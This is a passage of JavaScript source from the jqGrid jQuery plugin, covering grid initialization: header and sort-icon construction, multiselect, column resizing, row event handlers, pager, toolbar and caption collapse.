bstw2).css('padding-left')) + $.jgrid.floatNum($("td", bstw2).css('padding-right'), 10) + 1; if(ts.p.cellLayout <=0 ) { ts.p.cellLayout = 5; } $(bstw2).remove(); bstw2 = null; if(ts.p.grouping===true) { ts.p.scroll = false; ts.p.rownumbers = false; //ts.p.subGrid = false; expiremental ts.p.treeGrid = false; ts.p.gridview = true; } if(this.p.treeGrid === true) { try { $(this).jqGrid("setTreeGrid");} catch (_) {} if(ts.p.datatype !== "local") { ts.p.localReader = { id: "_id_" }; } else if(ts.p.keyName !== false) { ts.p.localReader = { id: ts.p.keyName }; } } if(this.p.subGrid) { try { $(ts).jqGrid("setSubGrid");} catch (s){} } if(this.p.searchCols) { this.p.colNames.unshift(ts.p.searchColOptions.colName); this.p.colModel.unshift({name:'sc',width: ts.p.searchColOptions.colWidth,sortable:false,hidedlg:true,search:false,align:'left',fixed:true, frozen: true, colmenu: ts.p.searchColOptions.colmenu, classes : "jqgrid-searchcol", labelClasses: "jqgrid-searchcolumn", coloptions : {sorting:false, columns: false, filtering: false, seraching:false, grouping:false, freeze : false}}); } if(this.p.multiselect) { var allRowsSelectTitle=$.jgrid.getRegional(ts, "defaults.selectAllLines"); allRowsSelectTitle=allRowsSelectTitle ? allRowsSelectTitle : $.jgrid.regional['en'].defaults.selectAllLines; this.p.colNames.unshift("<input role='checkbox' id='cb_"+this.p.id+"' class='cbox' type='checkbox' title='"+allRowsSelectTitle+"'/>"); this.p.colModel.unshift({name:'cb',width:$.jgrid.cell_width ? ts.p.multiselectWidth+ts.p.cellLayout : ts.p.multiselectWidth,sortable:false,resizable:false,hidedlg:true,search:false,align:'center',fixed:true, frozen: true, classes : "jqgrid-multibox", labelClasses: "jqgrid-multibox" }); } if(this.p.rownumbers) { this.p.colNames.unshift(""); this.p.colModel.unshift({name:'rn',width:ts.p.rownumWidth,sortable:false,resizable:false,hidedlg:true,search:false,align:'center',fixed:true, frozen : true, labelClasses: "jqgrid-rownumber"}); } ts.p.xmlReader = $.extend(true,{ root: "rows", row: "row", page: "rows>page", total: "rows>total", records : "rows>records", repeatitems: true, cell: "cell", id: "[id]", userdata: "userdata", subgrid: {root:"rows", row: "row", repeatitems: true, cell:"cell"} }, ts.p.xmlReader); ts.p.jsonReader = $.extend(true,{ root: "rows", page: "page", total: "total", records: "records", repeatitems: true, cell: "cell", id: "id", userdata: "userdata", subgrid: {root:"rows", repeatitems: true, cell:"cell"} },ts.p.jsonReader); ts.p.localReader = $.extend(true,{ root: "rows", page: "page", total: "total", records: "records", repeatitems: false, cell: "cell", id: "id", userdata: "userdata", subgrid: {root:"rows", repeatitems: true, cell:"cell"} },ts.p.localReader); if(ts.p.scroll){ ts.p.pgbuttons = false; ts.p.pginput=false; ts.p.rowList=[]; } if(ts.p.data.length) { normalizeData(); refreshIndex(); } var thead = "<thead role='rowgroup'><tr class='ui-jqgrid-labels' role='row'>", tdc, idn, w, res, sort ="", td, ptr, tbody, imgs, iac="", idc="", tmpcm; if(ts.p.shrinkToFit===true && ts.p.forceFit===true) { for (i=ts.p.colModel.length-1;i>=0;i--){ if(!ts.p.colModel[i].hidden) { ts.p.colModel[i].resizable=false; break; } } } if(ts.p.viewsortcols[1] === 'horizontal') { iac=" ui-i-asc"; idc=" ui-i-desc"; } else if(ts.p.viewsortcols[1] === "single") { iac = " ui-single-sort-asc"; idc = " ui-single-sort-desc"; sort = " style='display:none'"; ts.p.viewsortcols[0] = false; } tdc = isMSIE ? "class='ui-th-div-ie'" :""; imgs = "<span class='s-ico' style='display:none'>"; imgs += "<span sort='asc' class='ui-grid-ico-sort ui-icon-asc"+iac+" ui-sort-"+dir+" "+disabled+" " + iconbase + " " + getstyle(stylemodule, 'icon_asc', true)+ "'" + sort + " aria-label='empty'><span style='display:none'>empty</span></span>"; imgs += "<span sort='desc' class='ui-grid-ico-sort ui-icon-desc"+idc+" ui-sort-"+dir+" "+disabled+" " + iconbase + " " + getstyle(stylemodule, 'icon_desc', true)+"'" + sort + " aria-label='empty'><span style='display:none'>empty</span></span></span>"; if(ts.p.multiSort) { if(ts.p.sortname ) { sortarr = ts.p.sortname.split(","); for (i=0; i < sortarr.length; i++) { sotmp = $.jgrid.trim(sortarr[i]).split(" "); sortarr[i] = $.jgrid.trim(sotmp[0]); sortord[i] = sotmp[1] ? $.jgrid.trim(sotmp[1]) : ts.p.sortorder || "asc"; } } } for(i=0;i<this.p.colNames.length;i++){ var tooltip = ts.p.headertitles ? (" title=\"" + (ts.p.colModel[i].tooltip ? ts.p.colModel[i].tooltip : $.jgrid.stripHtml(ts.p.colNames[i])) + "\"") : ""; tmpcm = ts.p.colModel[i]; if(!tmpcm.hasOwnProperty('colmenu')) { tmpcm.colmenu = (tmpcm.name === "rn" || tmpcm.name === "cb" || tmpcm.name === "subgrid") ? false : true; } thead += "<th id='"+ts.p.id+"_" + tmpcm.name+"' role='columnheader' scope='col' "+getstyle(stylemodule,'headerBox',false, "ui-th-column ui-th-" + dir + " " + ( tmpcm.labelClasses || "") ) + tooltip+">"; idn = tmpcm.index || tmpcm.name; thead += "<div class='ui-th-div' id='jqgh_"+ts.p.id+"_"+tmpcm.name+"' "+tdc+">"+ts.p.colNames[i]; if(!tmpcm.width) { tmpcm.width = ts.p.defaultColWidth; } else { tmpcm.width = parseInt(tmpcm.width,10); } if(typeof tmpcm.title !== "boolean") { tmpcm.title = true; } tmpcm.lso = ""; if (idn === ts.p.sortname) { ts.p.lastsort = i; } if(ts.p.multiSort) { sotmp = $.inArray(idn,sortarr); if( sotmp !== -1 ) { tmpcm.lso = sortord[sotmp]; } } thead += imgs; if(ts.p.colMenu && tmpcm.colmenu) { thead += "<a title='"+$.jgrid.getRegional(ts,"colmenu.hovermenu")+"' class='"+(ts.p.direction==='ltr' ? "colmenu" : "colmenu-rtl") +"'><span class='colmenuspan "+iconbase+' '+colmenustyle.icon_menu+"'></span></a>"; } thead += "</div></th>"; } thead += "</tr></thead>"; imgs = null; tmpcm = null; $(this).append(thead); $("thead tr",this).first().find("th").hover( function(){ $(this).addClass(hover);}, function(){ $(this).removeClass(hover);} ); if(this.p.multiselect) { var emp=[], chk; $('#cb_'+$.jgrid.jqID(ts.p.id),this).on('click',function(){ if(!ts.p.preserveSelection) { ts.p.selarrrow = []; } var froz = ts.p.frozenColumns === true ? ts.p.id + "_frozen" : ""; if (this.checked) { $(ts.rows).each(function(i) { if (i>0) { if(!$(this).hasClass("ui-subgrid") && !$(this).hasClass("jqgroup") && !$(this).hasClass(disabled) && !$(this).hasClass("jqfoot")){ $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(this.id) )[ts.p.useProp ? 'prop': 'attr']("checked",true); $(this).addClass(highlight).attr("aria-selected","true"); if(ts.p.preserveSelection) { if(ts.p.selarrrow.indexOf(this.id) === -1) { ts.p.selarrrow.push(this.id); } } else { ts.p.selarrrow.push(this.id); } ts.p.selrow = this.id; if(froz) { $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(this.id), ts.grid.fbDiv )[ts.p.useProp ? 'prop': 'attr']("checked",true); $("#"+$.jgrid.jqID(this.id), ts.grid.fbDiv).addClass(highlight); } } } }); chk=true; emp=[]; } else { $(ts.rows).each(function(i) { if(i>0) { if(!$(this).hasClass("ui-subgrid") && !$(this).hasClass("jqgroup") && !$(this).hasClass(disabled) && !$(this).hasClass("jqfoot")){ $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(this.id) )[ts.p.useProp ? 'prop': 'attr']("checked", false); $(this).removeClass(highlight).attr("aria-selected","false"); emp.push(this.id); if(ts.p.preserveSelection) { var curind = ts.p.selarrrow.indexOf(this.id); if(curind > -1) { ts.p.selarrrow.splice(curind, 1); } } if(froz) { $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(this.id), ts.grid.fbDiv )[ts.p.useProp ? 'prop': 'attr']("checked",false); $("#"+$.jgrid.jqID(this.id), ts.grid.fbDiv).removeClass(highlight); } } } }); ts.p.selrow = null; chk=false; } $(ts).triggerHandler("jqGridSelectAll", [chk ? ts.p.selarrrow : emp, chk]); if($.jgrid.isFunction(ts.p.onSelectAll)) {ts.p.onSelectAll.call(ts, chk ? ts.p.selarrrow : emp,chk);} if($.jgrid.isFunction(ts.p.onMultiSelect)) {ts.p.onMultiSelect.call(ts, ts.p.selarrrow);} //si }); } var tfoot = "", trhead="", bstw = ts.p.styleUI.search('Bootstrap') !== -1 ? 2 : 0; setColWidth(); bstw2 = ts.p.styleUI.search('Bootstrap') !== -1; $(eg).css("width",grid.width+"px").append("<div class='ui-jqgrid-resize-mark' id='rs_m"+ts.p.id+"'> </div>"); if(ts.p.scrollPopUp) { $(eg).append("<div "+ getstyle(stylemodule, 'scrollBox', false, 'loading ui-scroll-popup')+" id='scroll_g"+ts.p.id+"'></div>"); } $(gv).css("width",grid.width+"px"); thead = $(ts).find("thead").first().get(0); if(ts.p.footerrow) { tfoot += "<table role='presentation' style='width:"+ts.p.tblwidth+"px' "+getstyle(stylemodule,'footerTable', false, 'ui-jqgrid-ftable ui-common-table')+ "><tbody><tr role='row' "+getstyle(stylemodule,'footerBox', false, 'footrow footrow-'+dir)+">"; } if(ts.p.headerrow) { trhead += "<table role='presentation' style='width:"+ts.p.tblwidth+"px' "+getstyle(stylemodule,'headerRowTable', false, 'ui-jqgrid-hrtable ui-common-table')+ "><tbody><tr role='row' "+getstyle(stylemodule,'headerRowBox', false, 'hrheadrow hrheadrow-'+dir)+">"; } var thr = $(thead).find("tr").first(), firstr = "<tr class='jqgfirstrow "+ (ts.p.direction === "rtl"? "ui-row-rtl'" :"'") +" role='row'>", clicks =0, // header font for full autosize hdr_font = $.jgrid.getFont( $("th",thr).first()[0] ); ts.p.disableClick=false; $("th",thr).each(function ( j ) { tmpcm = ts.p.colModel[j]; w = tmpcm.width; if(tmpcm.resizable === undefined) { tmpcm.resizable = true; } if(tmpcm.resizable){ res = document.createElement("span"); $(res).html(" ").addClass('ui-jqgrid-resize ui-jqgrid-resize-'+dir) .css("cursor","col-resize"); $(this).addClass(ts.p.resizeclass); } else { res = ""; } $(this).css("width",w+"px").prepend(res); res = null; var hdcol = "", clcol =""; if( tmpcm.hidden ) { $(this).css("display","none"); hdcol = "display:none;"; } if(tmpcm.labelClasses) { clcol = "class='"+tmpcm.labelClasses+"'"; } firstr += "<td "+clcol+" role='gridcell' style='height:0px;width:"+w+"px;"+hdcol+"'></td>"; grid.headers[j] = { width: w, el: this }; sort = tmpcm.sortable; if( typeof sort !== 'boolean') { tmpcm.sortable = true; sort=true; } var nm = tmpcm.name; if( !(nm === 'cb' || nm==='subgrid' || nm==='rn' || nm==='sc') ) { if(ts.p.viewsortcols[2]){ $(">div",this).addClass('ui-jqgrid-sortable'); } } tmpcm.canvas_width = tmpcm.autosize_headers ? ($.jgrid.getTextWidth( $("div", this)[0].outerText, hdr_font) + (tmpcm.colmenu ? $.jgrid.floatNum( $(".colmenuspan", this).parent().width()) : 0) + $.jgrid.floatNum( $("div", this).css("padding-left")) + $.jgrid.floatNum( $("div", this).css("padding-right")) + $.jgrid.floatNum($(".ui-jqgrid-resize", this).width())) : 0; if(sort) { if(ts.p.multiSort) { if(ts.p.viewsortcols[0]) { $("div span.s-ico",this).show(); if( tmpcm.lso ){ $("div span.ui-icon-"+tmpcm.lso,this).removeClass(disabled).css("display",""); } } else if( tmpcm.lso) { $("div span.s-ico",this).show(); $("div span.ui-icon-"+tmpcm.lso,this).removeClass(disabled).css("display",""); } } else { if(ts.p.viewsortcols[0]) { $("div span.s-ico",this).show(); if(j===ts.p.lastsort){ $("div span.ui-icon-"+ts.p.sortorder,this).removeClass(disabled).css("display",""); } } else if(j === ts.p.lastsort && ts.p.sortname !== "") { $("div span.s-ico",this).show(); $("div span.ui-icon-"+ts.p.sortorder,this).removeClass(disabled).css("display",""); } } } if(ts.p.footerrow) { tfoot += "<td role='gridcell' "+formatCol(j,0,'', null, '', false)+"> </td>"; } if(ts.p.headerrow) { trhead += "<td role='gridcell' "+formatCol(j,0,'', null, '', false)+"> </td>"; } }).mousedown(function(e) { if ($(e.target).closest("th>span.ui-jqgrid-resize").length !== 1) { return; } var ci = getColumnHeaderIndex(this), cmax; e.preventDefault(); clicks++; setTimeout(function() { clicks = 0; }, 400); if (clicks === 2) { // double click event handler try { if(ts.p.colModel[ci].autosize === true) { cmax = $(ts).jqGrid('getCol', ci, false, 'maxwidth'); $(ts).jqGrid('resizeColumn', ci, cmax + ( bstw2 ? ts.p.cellLayout : 0 ) ) .jqGrid('refreshGroupHeaders'); } } catch(e1) { } finally { clicks = 0; } return; } else { if(ts.p.forceFit===true) { ts.p.nv= nextVisible(ci); } grid.dragStart(ci, e, getOffset(ci)); } return false; }).click(function(e) { if (ts.p.disableClick) { ts.p.disableClick = false; return false; } var s = "th>div.ui-th-div",r,d; if (!ts.p.viewsortcols[2]) { s = "th>div>span>span.ui-grid-ico-sort"; } var t = $(e.target).closest(s); if (t.length !== 1) { return; } var ci; if(ts.p.frozenColumns) { var tid = $(this)[0].id.substring( ts.p.id.length + 1 ); ci = $.jgrid.getElemByAttrVal(ts.p.colModel, 'name', tid, true); } else { ci = getColumnHeaderIndex(this); } // if($(e.target).hasClass('colmenuspan')) { if( !$.jgrid.isNull($("#column_menu")[0]) ) { $("#column_menu").remove(); } if(ci === undefined) { return; } var grid_offset = $("#gbox_"+ts.p.id).offset(); var offset = $(this).offset(), left = ( offset.left ) - (grid_offset.left), top = 0;//( offset.top); if(ts.p.direction === "ltr") { left += $(this).outerWidth(); } buildColMenu(ci, left, top); if(ts.p.menubar === true) { $("#"+ts.p.id+"_menubar").hide(); } e.stopPropagation(); return; } // if (!ts.p.viewsortcols[2]) { r=true;d=t.attr("sort"); } if( !$.jgrid.isNull(ci) ){ sortData( $('div',this)[0].id, ci, r, d, this); } // added aria grid if(ts.p.selHeadInd !== undefined) { $(grid.headers[ts.p.selHeadInd].el).attr("tabindex", "-1"); } ts.p.selHeadInd = ci; $(this).attr("tabindex", "0"); // end aria //return false; }); tmpcm = null; // reset font cache jQuery._cacheCanvas = null; if (ts.p.sortable && $.fn.sortable) { try { $(ts).jqGrid("sortableColumns", thr); } catch (e){} } if(ts.p.footerrow) { tfoot += "</tr></tbody></table>"; } if(ts.p.headerrow) { trhead += "</tr></tbody></table>"; } firstr += "</tr>"; tbody = document.createElement("tbody"); //$(this).append(firstr); $(tbody).attr({"role":"rowgroup"}); this.appendChild(tbody); $(this).addClass(getstyle(stylemodule,"rowTable", true, 'ui-jqgrid-btable ui-common-table')).append(firstr); if(ts.p.altRows) { $(this).addClass(getstyle(stylemodule,"stripedTable", true, '')); } //$(firstr).insertAfter(this); firstr = null; var hTable = $("<table "+getstyle(stylemodule,'headerTable',false,'ui-jqgrid-htable ui-common-table')+" style='width:"+ts.p.tblwidth+"px' role='grid' aria-labelledby='gbox_"+this.id+"'></table>").append(thead), hg = (ts.p.caption && ts.p.hiddengrid===true) ? true : false, hb = $("<div class='ui-jqgrid-hbox" + (dir==="rtl" ? "-rtl" : "" )+"'></div>"); thead = null; grid.hDiv = document.createElement("div"); grid.hDiv.style.width = (grid.width - bstw) + "px"; grid.hDiv.className = getstyle(stylemodule,'headerDiv', true,'ui-jqgrid-hdiv'); $(grid.hDiv).append(hb); $(hb).append(hTable); hTable = null; if(hg) { $(grid.hDiv).hide(); } if(ts.p.pager){ // TBD -- escape ts.p.pager here? if(typeof ts.p.pager === "string") {if(ts.p.pager.slice(0,1) === "#") { ts.p.pager = ts.p.pager.substring(1);} } else { ts.p.pager = $(ts.p.pager).attr("id");} $("#"+$.jgrid.jqID(ts.p.pager)).css({width: (grid.width - bstw) +"px"}).addClass(getstyle(stylemodule,'pagerBox', true,'ui-jqgrid-pager')).appendTo(eg); if(hg) { $("#"+$.jgrid.jqID(ts.p.pager)).hide(); } setPager(ts.p.pager,''); ts.p.pager = "#" + $.jgrid.jqID(ts.p.pager); } if( ts.p.cellEdit === false && ts.p.hoverrows === true) { $(ts).on({ mouseover: function(e) { ptr = $(e.target).closest("tr.jqgrow"); if($(ptr).attr("class") !== "ui-subgrid") { $(ptr).addClass(hover); } }, mouseout: function(e) { ptr = $(e.target).closest("tr.jqgrow"); $(ptr).removeClass(hover); } }); } var ri,ci, tdHtml; function selectMultiRow(ri, scb, e, selection) { if((ts.p.multiselect && ts.p.multiboxonly) || ts.p.multimail ) { if(scb){ $(ts).jqGrid("setSelection", ri, selection, e); } else if( ts.p.multiboxonly && ts.p.multimail) { // execute onSelectRow $(ts).triggerHandler("jqGridSelectRow", [ri, false, e]); if( ts.p.onSelectRow) { ts.p.onSelectRow.call(ts, ri, false, e); } } else { var frz = ts.p.frozenColumns ? ts.p.id+"_frozen" : ""; $(ts.p.selarrrow).each(function(i,n){ var trid = $(ts).jqGrid('getGridRowById',n); if(trid) { $( trid ).removeClass(highlight); } $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(n))[ts.p.useProp ? 'prop': 'attr']("checked", false); if(frz) { $("#"+$.jgrid.jqID(n), "#"+$.jgrid.jqID(frz)).removeClass(highlight); $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(n), "#"+$.jgrid.jqID(frz))[ts.p.useProp ? 'prop': 'attr']("checked", false); } }); ts.p.selarrrow = []; $(ts).jqGrid("setSelection", ri, selection, e); } } else { $(ts).jqGrid("setSelection", ri, selection, e); } } $(ts).before(grid.hDiv).on({ 'click': function(e) { td = e.target; ptr = $(td,ts.rows).closest("tr.jqgrow"); if($(ptr).length === 0 || ptr[0].className.indexOf( disabled ) > -1 || ($(td,ts).closest("table.ui-jqgrid-btable").attr('id') || '').replace("_frozen","") !== ts.id ) { return this; } var scb = $(td).filter(":enabled").hasClass("cbox"), cSel = $(ts).triggerHandler("jqGridBeforeSelectRow", [ptr[0].id, e]); cSel = (cSel === false || cSel === 'stop') ? false : true; if ($.jgrid.isFunction(ts.p.beforeSelectRow)) { var allowRowSelect = ts.p.beforeSelectRow.call(ts, ptr[0].id, e); if (allowRowSelect === false || allowRowSelect === 'stop') { cSel = false; } } if(scb && cSel === false){ $(e.target).prop('checked',!$(e.target).prop('checked')); } if (td.tagName === 'A' || ((td.tagName === 'INPUT' || td.tagName === 'TEXTAREA' || td.tagName === 'OPTION' || td.tagName === 'SELECT' ) && !scb && !(td.tagName === 'INPUT' && td.id.startsWith("jqs_"+ts.p.id))) ) { return; } ri = ptr[0].id; td = $(td).closest("tr.jqgrow>td"); if (td.length > 0) { ci = $.jgrid.getCellIndex(td); } if(ts.p.cellEdit === true && !ts.p.ariaBody) { if(ts.p.multiselect && scb && cSel){ $(ts).jqGrid("setSelection", ri ,true,e); } else if (td.length > 0) { try { $(ts).jqGrid("editCell", ptr[0].rowIndex, ci, true, e); } catch (_) {} } return; } if (td.length > 0) { tdHtml = $(td).closest("td,th").html(); $(ts).triggerHandler("jqGridCellSelect", [ri,ci,tdHtml,e]); if($.jgrid.isFunction(ts.p.onCellSelect)) { ts.p.onCellSelect.call(ts,ri,ci,tdHtml,e); } } if (!cSel) { return; } if( ts.p.multimail && ts.p.multiselect) { if (e.shiftKey) { if (scb) { var initialRowSelect = $(ts).jqGrid('getGridParam', 'selrow'), CurrentSelectIndex = $(ts).jqGrid('getInd', ri), InitialSelectIndex = $(ts).jqGrid('getInd', initialRowSelect), startID = "", endID = ""; if (CurrentSelectIndex > InitialSelectIndex) { startID = initialRowSelect; endID = ri; } else { startID = ri; endID = initialRowSelect; } var shouldSelectRow = false, shouldResetRow = false, perform_select = true; if( $.inArray( ri, ts.p.selarrrow) > -1) { perform_select = false; } $.each($(this).getDataIDs(), function(_, id){ if ((shouldResetRow = id === startID || shouldResetRow)){ $(ts).jqGrid('resetSelection', id); } return id !== endID; }); if(perform_select) { $.each($(this).getDataIDs(), function(_, id){ if ((shouldSelectRow = id === startID || shouldSelectRow)){ $(ts).jqGrid('setSelection', id, false); } return id !== endID; }); } ts.p.selrow = (CurrentSelectIndex > InitialSelectIndex) ? endID : startID; return; } window.getSelection().removeAllRanges(); } selectMultiRow( ri, scb, e, false ); } else if ( !ts.p.multikey ) { selectMultiRow( ri, scb, e, true ); } else { if(e[ts.p.multikey]) { $(ts).jqGrid("setSelection", ri, true, e); } else if(ts.p.multiselect && scb) { scb = $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+ri).is(":checked"); $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+ri)[ts.p.useProp ? 'prop' : 'attr']("checked", !scb); } } }, 'reloadGrid': function(e,opts) { if(ts.p.treeGrid ===true) { ts.p.datatype = ts.p.treedatatype; } opts = opts || {}; if (opts.current) { ts.grid.selectionPreserver(ts); } if(ts.p.datatype==="local"){ $(ts).jqGrid("resetSelection"); if(ts.p.data.length) { normalizeData(); refreshIndex(); } } else if(!ts.p.treeGrid) { ts.p.selrow=null; if(ts.p.multiselect) { if(!ts.p.preserveSelection) { ts.p.selarrrow =[]; setHeadCheckBox(false); } } ts.p.savedRow = []; } if(ts.p.scroll) { emptyRows.call(ts, true, false); } if (opts.page) { var page = opts.page; if (page > ts.p.lastpage) { page = ts.p.lastpage; } if (page < 1) { page = 1; } ts.p.page = page; if (ts.grid.prevRowHeight) { ts.grid.bDiv.scrollTop = (page - 1) * ts.grid.prevRowHeight * ts.p.rowNum; } else { ts.grid.bDiv.scrollTop = 0; } } if (ts.grid.prevRowHeight && ts.p.scroll && opts.page === undefined) { delete ts.p.lastpage; ts.grid.populateVisible(); } else { ts.grid.populate(); } if(ts.p.inlineNav===true) {$(ts).jqGrid('showAddEditButtons');} if(ts.p.searchCols) { if(!$.isEmptyObject(ts.p._results) ) { ts.p._results ={}; $.jgrid.searchColOnEnter( ts.p.id, null ); } } return false; }, 'dblclick' : function(e) { td = e.target; ptr = $(td,ts.rows).closest("tr.jqgrow"); if($(ptr).length === 0 ){return;} ri = ptr[0].rowIndex; ci = $.jgrid.getCellIndex(td); var dbcr = $(ts).triggerHandler("jqGridDblClickRow", [$(ptr).attr("id"),ri,ci,e]); if( !$.jgrid.isNull(dbcr) ) { return dbcr; } if ($.jgrid.isFunction(ts.p.ondblClickRow)) { dbcr = ts.p.ondblClickRow.call(ts,$(ptr).attr("id"),ri,ci, e); if( !$.jgrid.isNull(dbcr) ) { return dbcr; } } }, 'contextmenu' : function(e) { td = e.target; ptr = $(td,ts.rows).closest("tr.jqgrow"); if($(ptr).length === 0 ){return;} if(!ts.p.multiselect) { $(ts).jqGrid("setSelection",ptr[0].id,true,e); } ri = ptr[0].rowIndex; ci = $.jgrid.getCellIndex(td); var rcr = $(ts).triggerHandler("jqGridRightClickRow", [$(ptr).attr("id"),ri,ci,e]); if( !$.jgrid.isNull(rcr) ) { return rcr; } if ($.jgrid.isFunction(ts.p.onRightClickRow)) { rcr = ts.p.onRightClickRow.call(ts,$(ptr).attr("id"),ri,ci, e); if( !$.jgrid.isNull(rcr) ) { return rcr; } } } }); //--- grid.bDiv = document.createElement("div"); if(isMSIE) { if(String(ts.p.height).toLowerCase() === "auto") { ts.p.height = "100%"; } } $(grid.bDiv) .append($('<div style="position:relative;"></div>').append('<div></div>').append(this)) .addClass("ui-jqgrid-bdiv") .css({ height: ts.p.height+(isNaN(ts.p.height)?"":"px"), width: (grid.width - bstw)+"px"}) .on("scroll", grid.scrollGrid); $(grid.bDiv).find("table").first().css({width:ts.p.tblwidth+"px"}); if( !$.support.tbody ) { //IE if( $("tbody",this).length === 2 ) { $("tbody",this).slice( 1 ).remove();} } if(ts.p.multikey){ if( $.jgrid.msie()) { $(grid.bDiv).on("selectstart",function(){return false;}); } else { $(grid.bDiv).on("mousedown",function(){return false;}); } } if(hg) { // hidden grid $(grid.bDiv).hide(); } var icoo = iconbase + " " + getstyle(stylemodule,'icon_caption_open', true), icoc = iconbase + " " + getstyle(stylemodule,'icon_caption_close', true); grid.cDiv = document.createElement("div"); var arf = ts.p.hidegrid===true ? $("<a role='link' class='ui-jqgrid-titlebar-close HeaderButton "+cornerall+"' title='"+($.jgrid.getRegional(ts, "defaults.showhide", ts.p.showhide) || "")+"'" + " />").hover( function(){ arf.addClass(hover);}, function() {arf.removeClass(hover);}) .append("<span class='ui-jqgrid-headlink " + icoo +"'></span>").css((dir==="rtl"?"left":"right"),"0px") : ""; $(grid.cDiv).append(arf).append("<span class='ui-jqgrid-title'>"+ts.p.caption+"</span>") .addClass("ui-jqgrid-titlebar ui-jqgrid-caption"+(dir==="rtl" ? "-rtl" :"" )+" "+getstyle(stylemodule,'gridtitleBox',true)); ///// toolbar menu if( ts.p.menubar === true) { //var fs = $('.ui-jqgrid-view').css('font-size') || '11px'; var arf1 = '<ul id="'+ts.p.id+'_menubar" class="ui-search-menu modal-content column-menu ui-menu jqgrid-caption-menu ' + colmenustyle.menu_widget+'" role="menubar" tabindex="0"></ul>'; $("#gbox_"+ts.p.id).append(arf1); $(grid.cDiv).append("<a role='link' class='ui-jqgrid-menubar menubar-"+(dir==="rtl" ? "rtl" :"ltr" )+"' style=''><span class='colmenuspan "+iconbase+' '+colmenustyle.icon_toolbar_menu+"'></span></a>"); $(".ui-jqgrid-menubar",grid.cDiv).hover( function(){ $(this).addClass(hover);}, function() {$(this).removeClass(hover); }).on('click',function(e) { var pos = $(e.target).position(); $("#"+ts.p.id+"_menubar").show(); if(ts.p.direction==="rtl") { $("#"+ts.p.id+"_menubar").css({left : pos.left - $("#"+ts.p.id+"_menubar").width() - 20 }); } }); } ///// end toolbar menu $(grid.cDiv).insertBefore(grid.hDiv); if( ts.p.toolbar[0] ) { var tbstyle = getstyle(stylemodule, 'customtoolbarBox', true, 'ui-userdata'); grid.uDiv = document.createElement("div"); if(ts.p.toolbar[1] === "top") {$(grid.uDiv).insertBefore(grid.hDiv);} else if (ts.p.toolbar[1]==="bottom" ) {$(grid.uDiv).insertAfter(grid.hDiv);} if(ts.p.toolbar[1]==="both") { grid.ubDiv = document.createElement("div"); $(grid.uDiv).addClass( tbstyle + " ui-userdata-top").attr("id","t_"+this.id).insertBefore(grid.hDiv).width(grid.width - bstw); $(grid.ubDiv).addClass( tbstyle + " ui-userdata-bottom").attr("id","tb_"+this.id).insertAfter(grid.hDiv).width(grid.width - bstw); if(hg) {$(grid.ubDiv).hide();} } else { $(grid.uDiv).width(grid.width - bstw).addClass( tbstyle + " ui-userdata-top").attr("id","t_"+this.id); } if(hg) {$(grid.uDiv).hide();} } if(ts.p.toppager) { ts.p.toppager = $.jgrid.jqID(ts.p.id)+"_toppager"; grid.topDiv = $("<div id='"+ts.p.toppager+"'></div>")[0]; $(grid.topDiv).addClass(getstyle(stylemodule, 'toppagerBox', true, 'ui-jqgrid-toppager')).width(grid.width - bstw).insertBefore(grid.hDiv); setPager(ts.p.toppager,'_t'); ts.p.toppager = "#"+ts.p.toppager; } if(ts.p.footerrow) { grid.sDiv = $("<div class='ui-jqgrid-sdiv'></div>")[0]; hb = $("<div class='ui-jqgrid-hbox"+(dir==="rtl"?"-rtl":"")+"'></div>"); $(grid.sDiv).append(hb).width(grid.width - bstw).insertAfter(grid.hDiv); $(hb).append(tfoot); grid.footers = $(".ui-jqgrid-ftable",grid.sDiv)[0].rows[0].cells; if(ts.p.rownumbers) { grid.footers[0].className = getstyle(stylemodule, 'rownumBox', true, 'jqgrid-rownum'); } if(hg) {$(grid.sDiv).hide();} } if(ts.p.headerrow) { grid.hrDiv = $("<div class='ui-jqgrid-hrdiv'></div>")[0]; hb = $("<div class='ui-jqgrid-hbox"+(dir==="rtl"?"-rtl":"")+"'></div>"); $(grid.hrDiv).append(hb).width(grid.width - bstw).insertAfter(grid.hDiv); $(hb).append(trhead); grid.hrheaders = $(".ui-jqgrid-hrtable",grid.hrDiv)[0].rows[0].cells; if(ts.p.rownumbers) { grid.hrheaders[0].className = getstyle(stylemodule, 'rownumBox', true, 'jqgrid-rownum'); } if(hg) { $(grid.nDiv).hide(); } } hb = null; if(ts.p.caption) { var tdt = ts.p.datatype; if(ts.p.hidegrid===true) { $(".ui-jqgrid-titlebar-close",grid.cDiv).click( function(e){ var onHdCl = $.jgrid.isFunction(ts.p.onHeaderClick), elems = ".ui-jqgrid-bdiv, .ui-jqgrid-hdiv, .ui-jqgrid-toppager, .ui-jqgrid-pager, .ui-jqgrid-sdiv, .ui-jqgrid-hrdiv", counter, self = this; if(ts.p.toolbar[0]===true) { if( ts.p.toolbar[1]==='both') { elems += ', #' + $(grid.ubDiv).attr('id'); } elems += ', #' + $(grid.uDiv).attr('id'); } counter = $(elems,"#gview_"+$.jgrid.jqID(ts.p.id)).length; if(ts.p.gridstate === 'visible') { $(elems,"#gbox_"+$.jgrid.jqID(ts.p.id)).slideUp("fast", function() { counter--; if (counter === 0) { $("span",self).removeClass(icoo).addClass(icoc); ts.p.gridstate = 'hidden'; if($("#gbox_"+$.jgrid.jqID(ts.p.id)).hasClass("ui-resizable")) { $(".ui-resizable-handle","#gbox_"+$.jgrid.jqID(ts.p.id)).hide(); } $(ts).triggerHandler("jqGridHeaderClick", [ts.p.gridstate,e]); if(onHdCl) {if(!hg) {ts.p.onHeaderClick.call(ts,ts.p.gridstate,e);}} } }); } else if(ts.p.gridstate === 'hidden'){ $(elems,"#gbox_"+$.jgrid.jqID(ts.p.id)).slideDown("fast", function() { counter--; if (counter === 0) { $("span",self).removeClass(icoc).addClass(icoo); if(hg) {ts.p.datatype = tdt;populate();hg=false;} ts.p.gridstate = 'visible'; if($("#gbox_"+$.jgrid.jqID(ts.p.id)).hasClass("ui-resizable")) { $(".ui-resizable-handle","#gbox_"+$.jgrid.jqID(ts.p.id)).show(); } 